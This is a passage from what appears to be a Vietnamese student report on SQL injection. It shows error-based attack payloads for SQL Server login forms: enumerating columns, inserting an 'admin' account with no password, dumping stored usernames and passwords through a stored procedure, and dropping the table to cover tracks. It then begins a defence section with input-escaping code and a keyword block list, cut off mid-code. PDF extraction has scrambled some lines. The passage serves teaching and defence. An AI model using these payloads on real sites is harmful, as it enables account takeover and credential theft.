Nhờ vào lỗi phát sinh này mà biết được bảng sử dụng trong câu truy vấn
là User
và trong bảng tồn tại một trường tên là tkUsername.
Sau đó sử dụng GROUP BY:
Username: ‘group by User.tkUsername having 1=1—
Lỗi phát sinh:
[Microsoft][ODBC
SQL
Server
Driver][SQL
Server]
Column'User.tkPassword'
is invalid in the select list because it is not contained in either an
aggregate function or the GROUP BY clause.
Như vậy, tkPassword là một trường của bảng User và được sử dụng
trong câu truy vấn.Tiếp tục dùng GROUP BY cho đến khi biết được tất cả các
trường trong bảng User tham gia vào câu truy vấn.Đến khi không còn báo lỗi
21

21



cú pháp GROUP BY nữa thì chuyển qua công đoạn kiểm tra kiểu của từng
trường trong bảng.
Lúc này UNION được sử dụng:
Username:’union select sum(tkUsername) from User
Lệnh sum là lệnh tính tổng cho đối số bên trong dấu ngoặc. Đối số phải
là kiểu số. Nếu đối số không là kiểu số thì phát sinh lỗi như sau:
[Microsoft][ODBC SQL Server Driver][SQL Server] The sum or
average aggregate operation cannot take a varchar data type as an
argument.
Như vậy, với thông điệp lỗi như trên thì tkUsername chắc chắn phải là
kiểu “varchar”. Với phương pháp trên, dễ dàng xác định được kiểu của từng
trường trong bảng. Sau khi đã nhận đầy đủ trông tin trên thì hacker dễ dàng tự
thêm thông tin vào bảng User.
Username:’
(‘admin’, ‘’)—

insert

into

User(tkUsername,tkPassword)

values

Như vậy, bây giờ tin tặc đã chèn được Account “admin” mà không cần
mật khẩu, và có thể dùng Account này để đăng nhập. Tuy nhiên, tùy thuộc vào
mức độ bảo mật của Website mà lúc này tin tặc có thể đoạt được quyền quản trị
Website hay không.

Ngoài ra, kẻ tấn công còn có thể tiến hành các bước sau để khai thác
thông tin của bảng User, cụ thể như lấy thông tin về username/pasword có sẵn
trong bảng này :
 Bước 1: Tạo một Stored procedure để chép vào tất cả thông tin của 2
trường tkUsername và tkPassword trong bảng User thành một chuỗi vào một
bảng mới là foo có một trường là ret bằng đoạn mã sau:
create proc test
as
begin
declare @ret varchar(8000)
set @ret=':'
select @ret=@ret+' '+tkUsername+'/'+tkPassword from User
select @ret as ret into foo
end
Thực thi câu lệnh bằng cách nhập vào form:
22

22


Username:’; create proc test as begin declare @ret varchar(8000) set
@ret=':' select @ret=@ret+' '+tkUsername+'/'+tkPassword from User
select @ret as ret into foo
 Bước 2: Gọi Stored procedure đó : Sau khi đã tạo được stored
procedure như trên, thực hiện lời gọi hàm:
Username:’;exec test
 Bước 3: Dùng UNION để xem nội dung bảng foo :
Username:’;select ret,1 from foo union select 1,1 from foo
Sau khi thực hiện lênh này thì sẽ xuất hiện lỗi phát sinh:
Microsoft OLE DB Provider for ODBC Drivers error

'80040e07'[Microsoft][ODBCSQL Server Driver][SQL Server] error
convertingthe varchar value ': admin /passof map/nhimmap
minhthu/kmathu' to a column of data type int.
Qua một số công đoạn, hacker đã thu được nội dung của bảng User gồm
có tên tkUsername và mật khẩu tkPassword.
 Bước 4: Ngoài ra hacker còn có thể cẩn thận xoá bảng foo để xoá dấu
vết:
Username: ‘; drop table foo—
Ngoài ra, còn một cách khác để xác định nội dung thông tin của bảng
User như sau:
Bước 1: Tìm tuần tự từng dòng trên bảng User
Username:’union select 1,1
hoặc :
Username:’union select min(tkUsername),1 from
tkUsername> ’a’—

User

where

Lỗi phát sinh:
Microsoft OLE DB Provider for ODBC Drivers error '80040e07'
[Microsoft][ODBC SQL Server Driver][SQL Server]Syntax error converting
the varchar value 'admin' to a column of data type int.
Ta biết được một Account trong bảng User là “admin”.
 Bước 2: Để biết các giá trị tiếp theo, nhập chuỗi sau:
Username:’;select
min(tkUsername),1
from
User

tkUsername> ’admin’union select 1,1 from User
23

where
23


Lỗi phát sinh:
Microsoft OLE DB Provider for ODBC Drivers error
'80040e07'[Microsoft][ODBC SQL Server Driver][SQL Server]Syntax error
converting the varchar value ' map ' to a column of data type int.
Ta tiếp tục thu được thông tin về Account “map”.
Bước 3: Thực hiện như bước 2 cho ra kết quả là từng dòng với
trường tkUsername trong bảng User
 Bước 4: Để biết thêm về tkPasswork, có thể thực hiện như sau:
Username:’;select
tkPassword,1
from
User
where
tkUsername=’admin’union select 1,1 from User—
Lỗi phát sinh:
Microsoft OLE DB Provider for ODBC Drivers error
'80040e07'[Microsoft][ODBC SQL Server Driver][SQL Server]Syntax error
converting the varchar value ' assOf' to a column of data type int.
Để biết thông tin về các bảng, cột trong cơ sở dữ liệu, có thể truy vấn
bảng đến bảng hệ thống INFORMATION_SCHEMA.TABLES.
SELECT
TABLE_NAME
INFORMATION_SCHEMA.TABLES


from

INFORMATION_SCHEMA.TABLES chứa thông tin về tất cả các table
có trên server. Trường TABLE_NAME chứa tên của mỗi table trong cơ sở dữ
liệu.
SELECT
COLUMN_NAME
INFORMATION_SCHEMA.COLUMNS
TABLE_NAME='User'

FROM
WHERE

Câu lệnh trên được sử dụng để biết thông tin về cột trong bảng User.
Tóm lại, trên đây là những kỹ thuật mà tin tặc thường sử dụng dựa vào
câu lệnh HAVING, GROUP BY, UNION để khai thác thông tin từ cơ sở dữ
liệu trong quá trình tấn công của mình.

24

24


IV.2.2. Biện pháp phòng chống
Dưới đây là một số biện pháp phòng chống SQL-injection:
IV.2.2.1. Kiểm tra dữ liệu
Kiểm tra tính đúng đắn của dữ liệu là 1 vấn đề phức tạp và thường chưa
được quan tâm đúng mức trong các ứng dụng. Khuynh hướng của việc kiểm tra
tính đúng đắn của dữ liệu không phải là chỉ cần thêm một số chức năng vào

ứng dụng, mà phải kiểm tra một cách tổng quát nhanh chóng để đạt được mục
đích.
Ví dụ nếu có bộ lọc để :
Lọc bỏ những dữ liệu bất hợp lệ như ‘--‘,’select’ và ‘union’
Một hàm kiểm soát để loại bỏ dấu nháy đơn thì có thể đối phó như sau.




Một số cách cài đặt các chức năng kiểm tra dữ liệu cơ bản
Cách 1: Thay thế dấu nháy đơn:
function escape( input )
input = replace(input, "'", "''")
escape = input
end function
Cách 2: Từ chối dữ liệu bất hợp lệ
function
validate_string(
input
)
known_bad
array("select","insert","update", "delete", "drop","--", "'" )
validate_string = true

=

for i = lbound( known_bad ) to ubound( known_bad )
if ( instr( 1, input, known_bad(i), vbtextcompare )<>
0)
then

validate_string = false
exit function
end if
next
end function
Cách 3: Chỉ chấp nhận dữ liệu hợp lệ
function validatepassword( input )
good_password_chars
"abcdefghijklmnopqrstuvwxyzABCDEFGHIJKLMNO
25

=
25


×